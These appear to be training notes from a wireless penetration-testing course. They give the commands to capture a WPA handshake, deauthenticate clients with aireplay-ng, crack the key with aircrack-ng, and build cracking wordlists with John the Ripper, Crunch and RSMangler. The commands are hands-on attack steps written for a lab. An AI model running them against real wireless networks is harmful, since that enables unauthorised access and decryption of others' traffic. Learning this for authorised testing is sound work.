Cracking Authentication Hashes

# Airodump-ng command and output on channel 3, focused on a BSSID to capture 4-way handshake
sudo airodump-ng -c 3 -w wpa --essid wifu --bssid 34:08:04:09:3D:38 wlan0mon
# Deauthenticating associated client
sudo aireplay-ng -0 1 -a 34:08:04:09:3D:38 -c 00:18:4D:1D:A8:1F wlan0mon
sudo aireplay-ng -0 1 -a 34:08:04:09:3D:38 wlan0mon
# Performing offline 4-way handshake cracking
aircrack-ng -w /usr/share/john/password.lst -e wifu -b 34:08:04:09:3D:38 wpa-01.cap
# To confirm the key is correct let's decrypt the traffic with airdecap-ng or wireshark
airdecap-ng -b 34:08:04:09:3D:38 -e wifu -p 12345678 wpa-01.cap

Custom Wordlists

=> John the Ripper
# John mangling rules
sudo nano /etc/john/john.conf
# Creat a custom wordlist
john --wordlist=/usr/share/john/password.lst --rules --stdout | grep -i Password123
# Combining JtR mangling rules and piping it to aircrack-ng
john --wordlist=/usr/share/john/password.lst --rules --stdout | aircrack-ng -e wifu -w - ~/wpa-01.cap

=> Crunch
@ : represents lowercase characters or characters from a defined set
, : represents uppercase characters
% : represent numbers
^ : represents symbols
# Using Crunch to generate wordlist starting with 'password' and ending with 3 digits 
crunch 11 11 0123456789 -t password@@@
# Using Crunch to generate wordlist using characters in 'abcde12345' without repeating any of them
crunch 1 1 -p abcde12345
# Using Crunch to generate wordlist with multiple words instead of characters, without repeating them
crunch 1 1 -p dog cat bird
# Using Crunch to generate a non-repeating wordlist from multiple words and adding two characters from a defined character set
crunch 5 5 aADE -t ddd@@ -p dog cat bird
# Combining Crunch mangling and piping it to aircrack-ng
crunch 11 11 -t password%%% | aircrack-ng -e wifu crunch-01.cap -w -

=> RSMangler
echo bird > wordlist.txt ; echo cat > wordlist.txt ; echo dog > wordlist.txt
rsmangler --file wordlist.txt --min 12 --max 13 --allow-duplicates | aircrack-ng -e wifu rsmangler-01.cap -w -

=> aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
=> standards-oui.ieee.org/oui/oui.txt
=> wireshark.org/tools/oui-lookup.html

Hashcat

Airolib-ng

coWPAtty

Last updated